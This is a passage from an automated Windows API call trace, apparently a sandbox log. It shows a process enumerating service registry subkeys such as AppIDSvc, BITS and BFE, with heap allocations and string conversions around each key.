dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0224.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0224.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.948] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0224.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0224.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.948] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0224.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.996] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.996] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.996] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0224.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.996] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.997] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.997] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.997] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0224.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.998] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.998] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.998] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.998] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0224.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.999] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.999] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.999] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0224.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 